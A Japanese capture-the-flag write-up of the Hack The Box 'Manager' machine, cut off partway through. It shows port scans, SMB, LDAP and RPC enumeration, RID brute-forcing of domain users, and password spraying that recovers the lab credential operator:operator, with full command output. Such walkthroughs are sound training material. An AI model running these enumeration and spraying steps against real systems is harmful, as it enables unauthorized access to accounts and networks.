【Hack The Box】Manager【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___Manager___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# 初期探索
## ポートスキャン
```bash
┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.144.138 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.144.138:53
Open 10.129.144.138:80
Open 10.129.144.138:88
Open 10.129.144.138:135
Open 10.129.144.138:139
Open 10.129.144.138:389
Open 10.129.144.138:445
Open 10.129.144.138:464
Open 10.129.144.138:593
Open 10.129.144.138:636
Open 10.129.144.138:9389
Open 10.129.144.138:49667
Open 10.129.144.138:49677
Open 10.129.144.138:49678
Open 10.129.144.138:49679
Open 10.129.144.138:49716
Open 10.129.144.138:50765
Open 10.129.144.138:56418
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 06:12 EDT
Initiating Ping Scan at 06:12
Scanning 10.129.144.138 [4 ports]
Completed Ping Scan at 06:12, 0.28s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 06:12
Completed Parallel DNS resolution of 1 host. at 06:12, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 06:12
Scanning 10.129.144.138 [18 ports]
Discovered open port 135/tcp on 10.129.144.138
Discovered open port 445/tcp on 10.129.144.138
Discovered open port 53/tcp on 10.129.144.138
Discovered open port 49677/tcp on 10.129.144.138
Discovered open port 80/tcp on 10.129.144.138
Discovered open port 139/tcp on 10.129.144.138
Discovered open port 464/tcp on 10.129.144.138
Discovered open port 50765/tcp on 10.129.144.138
Discovered open port 88/tcp on 10.129.144.138
Discovered open port 49678/tcp on 10.129.144.138
Discovered open port 49716/tcp on 10.129.144.138
Discovered open port 56418/tcp on 10.129.144.138
Discovered open port 49679/tcp on 10.129.144.138
Discovered open port 593/tcp on 10.129.144.138
Discovered open port 49667/tcp on 10.129.144.138
Discovered open port 636/tcp on 10.129.144.138
Discovered open port 389/tcp on 10.129.144.138
Discovered open port 9389/tcp on 10.129.144.138
Completed SYN Stealth Scan at 06:12, 0.56s elapsed (18 total ports)
Nmap scan report for 10.129.144.138
Host is up, received echo-reply ttl 127 (0.27s latency).
Scanned at 2023-10-24 06:12:50 EDT for 1s

PORT      STATE SERVICE        REASON
53/tcp    open  domain         syn-ack ttl 127
80/tcp    open  http           syn-ack ttl 127
88/tcp    open  kerberos-sec   syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
389/tcp   open  ldap           syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
464/tcp   open  kpasswd5       syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl        syn-ack ttl 127
9389/tcp  open  adws           syn-ack ttl 127
49667/tcp open  unknown        syn-ack ttl 127
49677/tcp open  unknown        syn-ack ttl 127
49678/tcp open  unknown        syn-ack ttl 127
49679/tcp open  unknown        syn-ack ttl 127
49716/tcp open  unknown        syn-ack ttl 127
50765/tcp open  unknown        syn-ack ttl 127
56418/tcp open  unknown        syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
           Raw packets sent: 22 (944B) | Rcvd: 19 (820B)
```
Windows環境でよく見るポートが公開されている。
## ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
```bash
┌──(root㉿kali)-[~]
└─# nmap -p 389 -n -Pn 10.129.144.138 --script ldap-rootdse
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 06:14 EDT
Nmap scan report for 10.129.144.138
Host is up (0.26s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=manager,DC=htb
|       ldapServiceName: manager.htb:dc01$@MANAGER.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=manager,DC=htb
|       serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=manager,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=manager,DC=htb
|       namingContexts: DC=manager,DC=htb
|       namingContexts: CN=Configuration,DC=manager,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=manager,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=manager,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 138319
|       dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=manager,DC=htb
|       dnsHostName: dc01.manager.htb
|       defaultNamingContext: DC=manager,DC=htb
|       currentTime: 20231024171421.0Z
|_      configurationNamingContext: CN=Configuration,DC=manager,DC=htb
Service Info: Host: DC01; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.48 seconds
```
`manager.htb`のドメイン情報を掴むことが出来た。この情報は`/etc/hosts`に以下のように設定しておく
```bash
10.129.144.138    manager.htb
```
`enum4linux`も回しておく
```bash
┌──(root㉿kali)-[~]
└─# enum4linux 10.129.144.138                     
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Oct 24 06:16:32 2023

 =========================================( Target Information )=========================================
                                                                                                                                                           
Target ........... 10.129.144.138                                                                                                                          
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 10.129.144.138 )===========================
                                                                                                                                                           
                                                                                                                                                           
[E] Can't find workgroup/domain                                                                                                                            
                                                                                                                                                           
                                                                                                                                                           

 ===============================( Nbtstat Information for 10.129.144.138 )===============================
                                                                                                                                                           
Looking up status of 10.129.144.138                                                                                                                        
No reply from 10.129.144.138

 ==================================( Session Check on 10.129.144.138 )==================================
                                                                                                                                                           
                                                                                                                                                           
[+] Server 10.129.144.138 allows sessions using username '', password ''                                                                                   
                                                                                                                                                           
                                                                                                                                                           
 ===============================( Getting domain SID for 10.129.144.138 )===============================
                                                                                                                                                           
Domain Name: MANAGER                                                                                                                                       
Domain Sid: S-1-5-21-4078382237-1492182817-2568127209

[+] Host is part of a domain (not a workgroup)                                                                                                             
                                                                                                                                                           
                                                                                                                                                           
 ==================================( OS information on 10.129.144.138 )==================================
                                                                                                                                                           
                                                                                                                                                           
[E] Can't get OS info with smbclient                                                                                                                       
                                                                                                                                                           
                                                                                                                                                           
[+] Got OS info for 10.129.144.138 from srvinfo:                                                                                                           
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED                                                                                     


 ======================================( Users on 10.129.144.138 )======================================
                                                                                                                                                           
                                                                                                                                                           
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED                                                                                       
                                                                                                                                                           
                                                                                                                                                           

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED                                                                                        
                                                                                                                                                           
                                                                                                                                                           
 ================================( Share Enumeration on 10.129.144.138 )================================
                                                                                                                                                           
do_connect: Connection to 10.129.144.138 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)                                                                  

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.129.144.138                                                                                                             
                                                                                                                                                           
                                                                                                                                                           
 ===========================( Password Policy Information for 10.129.144.138 )===========================
                                                                                                                                                           
                                                                                                                                                           
[E] Unexpected error from polenum:                                                                                                                         
                                                                                                                                                           
                                                                                                                                                           

[+] Attaching to 10.129.144.138 using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:10.129.144.138)

[+] Trying protocol 445/SMB...

        [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.



[E] Failed to get password policy with rpcclient                                                                                                           
                                                                                                                                                           
                                                                                                                                                           

 ======================================( Groups on 10.129.144.138 )======================================
                                                                                                                                                           
                                                                                                                                                           
[+] Getting builtin groups:                                                                                                                                
                                                                                                                                                           
                                                                                                                                                           
[+]  Getting builtin group memberships:                                                                                                                    
                                                                                                                                                           
                                                                                                                                                           
[+]  Getting local groups:                                                                                                                                 
                                                                                                                                                           
                                                                                                                                                           
[+]  Getting local group memberships:                                                                                                                      
                                                                                                                                                           
                                                                                                                                                           
[+]  Getting domain groups:                                                                                                                                
                                                                                                                                                           
                                                                                                                                                           
[+]  Getting domain group memberships:                                                                                                                     
                                                                                                                                                           
                                                                                                                                                           
 =================( Users on 10.129.144.138 via RID cycling (RIDS: 500-550,1000-1050) )=================
                                                                                                                                                           
                                                                                                                                                           
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.                                                                                  
                                                                                                                                                           
                                                                                                                                                           
 ==============================( Getting printer info for 10.129.144.138 )==============================
                                                                                                                                                           
do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED                                                                                    


enum4linux complete on Tue Oct 24 06:17:37 2023
```
rpcclientでの探索もしておく。
```bash
┌──(root㉿kali)-[~]
└─# rpcclient 10.129.144.138 -U '' -N 
rpcclient $> enumdomains
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
result was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaquery
Domain Name: MANAGER
Domain Sid: S-1-5-21-4078382237-1492182817-2568127209
rpcclient $> querydominfo
result was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> 
```
`smbclient`も探っておく。
```bash
┌──(root㉿kali)-[~]
└─# smbclient -N -L \\\\10.129.144.138

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.144.138 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
ドメイン情報以外は特段いい情報がなかった。
## Web探索
### ブラウジング
Port80があいていたので、ブラウザでアクセスしてみる。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2cea6abf-87e9-2d87-e3d7-06f4248bca09.png)
ほう。色々飛んでみたがいいものはなさそう。
更に探索を深める。
#### dirsearch
階層を探索していく。
```bash
┌──(root㉿kali)-[~]
└─# dirsearch -u http://manager.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/manager.htb/-_23-10-24_06-23-43.txt

Error Log: /root/.dirsearch/logs/errors-23-10-24_06-23-43.log

Target: http://manager.htb/

[06:23:44] Starting: 
[06:23:47] 403 -  312B  - /%2e%2e//google.com                              
[06:23:47] 301 -  145B  - /js  ->  http://manager.htb/js/                  
[06:24:12] 403 -  312B  - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[06:24:15] 200 -    5KB - /about.html                                       
[06:24:43] 200 -    5KB - /contact.html                                     
[06:24:44] 301 -  146B  - /css  ->  http://manager.htb/css/                 
[06:24:56] 403 -    1KB - /images/                                          
[06:24:56] 301 -  149B  - /images  ->  http://manager.htb/images/           
[06:24:57] 200 -   18KB - /index.html                                       
[06:25:00] 403 -    1KB - /js/                                              
```
特段いいものがなかったので、別Toolを利用する。
#### gobuster
以下のSeclistsからリストをダウンロードして利用します。

https://github.com/danielmiessler/SecLists

```bash
┌──(root㉿kali)-[~/work]
└─# gobuster dir -u http://manager.htb/ -k -x html -w ./directory-list-2.3-small.txt -t 200 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://manager.htb/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                ./directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about.html           (Status: 200) [Size: 5386]
/contact.html         (Status: 200) [Size: 5317]
/index.html           (Status: 200) [Size: 18203]
/images               (Status: 301) [Size: 149] [--> http://manager.htb/images/]
/Images               (Status: 301) [Size: 149] [--> http://manager.htb/Images/]
/service.html         (Status: 200) [Size: 7900]
/css                  (Status: 301) [Size: 146] [--> http://manager.htb/css/]
/About.html           (Status: 200) [Size: 5386]
/Index.html           (Status: 200) [Size: 18203]
/Contact.html         (Status: 200) [Size: 5317]
/js                   (Status: 301) [Size: 145] [--> http://manager.htb/js/]
/IMAGES               (Status: 301) [Size: 149] [--> http://manager.htb/IMAGES/]
/Service.html         (Status: 200) [Size: 7900]
/INDEX.html           (Status: 200) [Size: 18203]
/CSS                  (Status: 301) [Size: 146] [--> http://manager.htb/CSS/]
/JS                   (Status: 301) [Size: 145] [--> http://manager.htb/JS/]
/CONTACT.html         (Status: 200) [Size: 5317]
/ABOUT.html           (Status: 200) [Size: 5386]
Progress: 175328 / 175330 (100.00%)
===============================================================
Finished
===============================================================
```
特段いいものはありませんでした。
何も見つからにゃい...

## nmapスクリプトでの調査
### smb
smbに何か穴がないか確認します。
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -n -Pn 10.129.144.138 -p 135,139,445 --script smb-protocols,smb-brute,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-services,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-os-discovery
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 06:41 EDT
Nmap scan report for 10.129.144.138
Host is up (0.28s latency).

PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
| smb-protocols: 
|   dialects: 
|     2:0:2
|     2:1:0
|     3:0:0
|     3:0:2
|_    3:1:1

Nmap done: 1 IP address (1 host up) scanned in 29.35 seconds
```
ない。
### Aオプション
```bash
┌──(root㉿kali)-[~/work]
└─# nmap -n -Pn 10.129.144.138 -A
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 06:52 EDT
Nmap scan report for 10.129.144.138
Host is up (0.27s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Manager
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-24 17:53:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-24T17:54:48+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-24T17:54:47+00:00; +6h59m56s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.144.138:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.144.138:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-24T04:59:05
|_Not valid after:  2053-10-24T04:59:05
|_ssl-date: 2023-10-24T17:54:48+00:00; +6h59m56s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-10-24T17:54:48+00:00; +6h59m56s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-10-24T17:54:47+00:00; +6h59m56s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m56s, deviation: 0s, median: 6h59m55s
| smb2-time: 
|   date: 2023-10-24T17:54:10
|_  start_date: N/A

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   270.89 ms 10.10.14.1
2   271.21 ms 10.129.144.138

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.58 second
```
`1433`で`ms-sql`がいることが分かった。
それ以外何もわからない。
総当たりしてみるか...

# クレデンシャル情報奪取
smbが開いているのでこの周りで`crackmapexec`回していきます。
```bash
┌──(root㉿kali)-[~/work]
└─# crackmapexec smb 10.129.144.138 --pass-pol -u "guest" -p ""
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing WINRM protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         10.129.144.138  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.129.144.138  445    DC01             [+] manager.htb\guest: 
```
あ、guestで行けそう？？？RIDの総当たりしてみます。
```bash
┌──(root㉿kali)-[~/work]
└─# crackmapexec smb 10.129.144.138 --pass-pol -u "guest" -p "" --rid-brute
SMB         10.129.144.138  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.129.144.138  445    DC01             [+] manager.htb\guest: 
SMB         10.129.144.138  445    DC01             [+] Brute forcing RIDs
SMB         10.129.144.138  445    DC01             498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.144.138  445    DC01             500: MANAGER\Administrator (SidTypeUser)
SMB         10.129.144.138  445    DC01             501: MANAGER\Guest (SidTypeUser)
SMB         10.129.144.138  445    DC01             502: MANAGER\krbtgt (SidTypeUser)
SMB         10.129.144.138  445    DC01             512: MANAGER\Domain Admins (SidTypeGroup)
SMB         10.129.144.138  445    DC01             513: MANAGER\Domain Users (SidTypeGroup)
SMB         10.129.144.138  445    DC01             514: MANAGER\Domain Guests (SidTypeGroup)
SMB         10.129.144.138  445    DC01             515: MANAGER\Domain Computers (SidTypeGroup)
SMB         10.129.144.138  445    DC01             516: MANAGER\Domain Controllers (SidTypeGroup)
SMB         10.129.144.138  445    DC01             517: MANAGER\Cert Publishers (SidTypeAlias)
SMB         10.129.144.138  445    DC01             518: MANAGER\Schema Admins (SidTypeGroup)
SMB         10.129.144.138  445    DC01             519: MANAGER\Enterprise Admins (SidTypeGroup)
SMB         10.129.144.138  445    DC01             520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.144.138  445    DC01             521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.144.138  445    DC01             522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.144.138  445    DC01             525: MANAGER\Protected Users (SidTypeGroup)
SMB         10.129.144.138  445    DC01             526: MANAGER\Key Admins (SidTypeGroup)
SMB         10.129.144.138  445    DC01             527: MANAGER\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.144.138  445    DC01             553: MANAGER\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.144.138  445    DC01             571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.144.138  445    DC01             572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.144.138  445    DC01             1000: MANAGER\DC01$ (SidTypeUser)
SMB         10.129.144.138  445    DC01             1101: MANAGER\DnsAdmins (SidTypeAlias)
SMB         10.129.144.138  445    DC01             1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.144.138  445    DC01             1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB         10.129.144.138  445    DC01             1113: MANAGER\Zhong (SidTypeUser)
SMB         10.129.144.138  445    DC01             1114: MANAGER\Cheng (SidTypeUser)
SMB         10.129.144.138  445    DC01             1115: MANAGER\Ryan (SidTypeUser)
SMB         10.129.144.138  445    DC01             1116: MANAGER\Raven (SidTypeUser)
SMB         10.129.144.138  445    DC01             1117: MANAGER\JinWoo (SidTypeUser)
SMB         10.129.144.138  445    DC01             1118: MANAGER\ChinHae (SidTypeUser)
SMB         10.129.144.138  445    DC01             1119: MANAGER\Operator (SidTypeUser)
```
くっそ...guestでいけるのか。このUser情報からPassword列挙する形か？それか`AS-REP Roasting`を実行するかどうかかな？ま、とりあえずcrackmapexec使ってるし、同名でPassword試してみます。
```:user_list
zhong
cheng
ryan
raven
jinwoo
chinhae
operator
```
```bash
┌──(root㉿kali)-[~/work]
└─# crackmapexec smb 10.129.144.138 -u user_list -p user_list --no-brute
SMB         10.129.144.138  445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.129.144.138  445    DC01             [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE 
SMB         10.129.144.138  445    DC01             [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE 
SMB         10.129.144.138  445    DC01             [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE 
SMB         10.129.144.138  445    DC01             [-] manager.htb\raven:raven STATUS_LOGON_FAILURE 
SMB         10.129.144.138  445    DC01             [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE 
SMB         10.129.144.138  445    DC01             [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE 
SMB         10.129.144.138  445    DC01             [+] manager.htb\operator:operator 
```
operatorでハマった！これでsmbできるか試してみます。`C`いけたらいいなぁ！
```bash
┌──(root㉿kali)-[~/work]
└─# smbmap -H 10.129.144.138 -u operator -p operator

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)                                
                                                                                                    
[+] IP: 10.129.144.138:445      Name: manager.htb               Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
